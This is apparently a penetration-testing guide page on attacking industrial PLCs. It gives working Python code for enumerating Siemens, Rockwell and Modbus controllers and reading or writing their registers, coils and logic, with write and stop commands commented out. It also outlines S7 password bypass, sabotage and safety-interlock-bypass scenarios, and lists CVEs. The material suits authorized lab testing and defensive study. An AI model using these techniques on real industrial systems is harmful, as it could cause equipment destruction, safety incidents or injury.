PLC/RTU Attacks

Exploitation

Programmable Logic Controllers (PLCs) and Remote Terminal Units (RTUs) are the workhorses of industrial automation. Compromising these devices can lead to direct physical impact.

Physical Safety Risk

PLC attacks can cause physical damage, safety incidents, or loss of life. Only perform these tests in isolated lab environments or with extensive safety controls and authorization.

Common PLC Vulnerabilities

Authentication Issues

  • • No authentication on protocols
  • • Default/weak passwords
  • • Hardcoded credentials
  • • Password bypass vulnerabilities

Logic Vulnerabilities

  • • Unauthenticated program upload
  • • Logic download without verification
  • • Runtime value manipulation
  • • Stop/start control

Siemens S7 Attacks

S7 Enumeration

bash
# Nmap S7 info script
nmap -p 102 --script s7-info 192.168.1.100

# Using snap7 library
pip install python-snap7

python3 << 'EOF'
import snap7

client = snap7.client.Client()
client.connect('192.168.1.100', 0, 1)  # IP, rack, slot

# Get PLC info
info = client.get_cpu_info()
print(f"Module Type: {info.ModuleTypeName}")
print(f"Serial: {info.SerialNumber}")
print(f"Module Name: {info.ModuleName}")

# Get CPU state
state = client.get_cpu_state()
print(f"CPU State: {state}")  # Run, Stop, etc.

client.disconnect()
EOF

S7 Authentication Bypass

bash
# S7 PLCs can have password protection
# Multiple levels: Read, Write, Read/Write

# Check if password is set
# Try connecting and performing operations

# Password bypass techniques:
# 1. S7-300/400 with older firmware have known bypasses
# 2. Some PLCs accept empty password
# 3. Password stored in project file (extract and crack)

# Using s7-brute-offline
# Extract password hash from captured traffic or project file
# Crack offline

# Replay attack
# Capture legitimate authentication
# Replay to gain access

S7 Control Commands

bash
# WARNING: These commands affect PLC operation
# Only use in lab environments

python3 << 'EOF'
import snap7

client = snap7.client.Client()
client.connect('192.168.1.100', 0, 1)

# Stop the PLC (DANGEROUS)
# client.plc_stop()

# Start the PLC
# client.plc_cold_start()
# client.plc_hot_start()

# Read memory areas
# DB (Data Block)
db_data = client.db_read(1, 0, 100)  # DB1, offset 0, 100 bytes

# Read inputs
inputs = client.read_area(snap7.types.Areas.PE, 0, 0, 10)

# Read outputs  
outputs = client.read_area(snap7.types.Areas.PA, 0, 0, 10)

# Read markers (memory)
markers = client.read_area(snap7.types.Areas.MK, 0, 0, 10)

client.disconnect()
EOF

Allen-Bradley / Rockwell Attacks

EtherNet/IP Exploitation

bash
# Using pycomm3
pip install pycomm3

python3 << 'EOF'
from pycomm3 import LogixDriver

# Connect to ControlLogix/CompactLogix
with LogixDriver('192.168.1.100') as plc:
    
    # Get PLC info
    info = plc.get_plc_info()
    print(f"Name: {info['name']}")
    print(f"Vendor: {info['vendor']}")
    print(f"Product Type: {info['product_type']}")
    print(f"Revision: {info['revision']}")
    
    # Get all tags
    tags = plc.get_tag_list()
    for tag in tags:
        print(f"{tag['tag_name']}: {tag['data_type']}")
    
    # Read a tag
    result = plc.read('SomeTag')
    print(f"Value: {result.value}")
    
    # Write a tag (DANGEROUS)
    # plc.write('SomeTag', 100)
EOF

Modbus PLC Attacks

bash
# Modbus has NO authentication
# Any device on the network can read/write

python3 << 'EOF'
from pymodbus.client import ModbusTcpClient

client = ModbusTcpClient('192.168.1.100', port=502)
client.connect()

# Read holding registers
result = client.read_holding_registers(0, 10, slave=1)
print(f"Registers: {result.registers}")

# Read coils (digital outputs)
coils = client.read_coils(0, 10, slave=1)
print(f"Coils: {coils.bits}")

# DANGEROUS: Write operations
# Write single coil (turn output on/off)
# client.write_coil(0, True, slave=1)

# Write single register
# client.write_register(0, 1234, slave=1)

# Write multiple coils
# client.write_coils(0, [True, False, True], slave=1)

# Write multiple registers
# client.write_registers(0, [100, 200, 300], slave=1)

client.close()
EOF

Logic Manipulation

The most impactful attacks involve modifying the PLC logic itself. This can cause subtle malfunctions that are difficult to detect.

Attack Scenarios

Stuxnet-style Attack

Modify logic to cause physical damage while showing normal values to operators. The HMI displays everything is normal while equipment is being destroyed.

Safety System Bypass

Disable safety interlocks that prevent dangerous conditions. Example: Allow tank overfill, disable temperature limits.

Production Sabotage

Make subtle changes to process values causing quality defects. Example: Slightly modify recipe parameters in food/pharma manufacturing.

Ransomware

Lock out operators from PLCs. Encrypt or wipe PLC logic. Demand ransom for restore or decryption key.

Logic Upload/Download

bash
# Download logic from PLC (backup/analysis)
# This extracts the currently running program

# Siemens - using snap7
python3 << 'EOF'
import snap7

client = snap7.client.Client()
client.connect('192.168.1.100', 0, 1)

# Download entire project (if supported)
# Requires proper access level

# Download specific block
block_data = client.full_upload(snap7.types.block_types.OB, 1)
with open('OB1.bin', 'wb') as f:
    f.write(block_data)

client.disconnect()
EOF

# Allen-Bradley - using RSLogix or pycomm3
# Logic stored in controller, can be uploaded via software

# Schneider - using Unity Pro or network tools
# Modicon PLCs allow logic upload via proprietary protocol

# Analyze downloaded logic
# - Look for safety interlocks
# - Identify critical control logic
# - Find hardcoded values

Firmware Attacks

bash
# PLC firmware can be vulnerable to:
# - Buffer overflows
# - Authentication bypass
# - Backdoors
# - Malicious firmware upload

# Firmware extraction methods:
# 1. Download from vendor website
# 2. JTAG/debug interface access
# 3. Network firmware update capture

# Firmware analysis
# Use binwalk, Ghidra for analysis
binwalk plc_firmware.bin
binwalk -e plc_firmware.bin

# Look for:
# - Hardcoded credentials
# - Debug interfaces
# - Vulnerable services
# - Known CVEs

# Search for PLC CVEs
# https://www.cisa.gov/uscert/ics/advisories
# https://nvd.nist.gov - search "PLC" or vendor name

Common PLC CVEs

CVE Vendor Vulnerability Impact
CVE-2019-13945 Siemens S7 Denial of Service Crash PLC
CVE-2020-15782 Siemens S7-1200 Memory Protection Bypass Code execution
CVE-2012-6435 Rockwell MicroLogix Hardcoded credentials Auth bypass
CVE-2015-1015 Schneider Modicon Hardcoded FTP password Full access

PLC Testing Checklist

Enumeration

  • ☐ Identify PLC vendor and model
  • ☐ Determine firmware version
  • ☐ Check for known CVEs
  • ☐ Enumerate available protocols

Authentication

  • ☐ Test for default credentials
  • ☐ Check if authentication is enabled
  • ☐ Test for authentication bypass
  • ☐ Check password strength

Access Control

  • ☐ Test read access to memory/registers
  • ☐ Test write access restrictions
  • ☐ Check logic upload/download controls
  • ☐ Test stop/start controls

Documentation

Always document the exact state of PLCs before testing. Record firmware versions, running programs, and current values. This enables recovery if something goes wrong.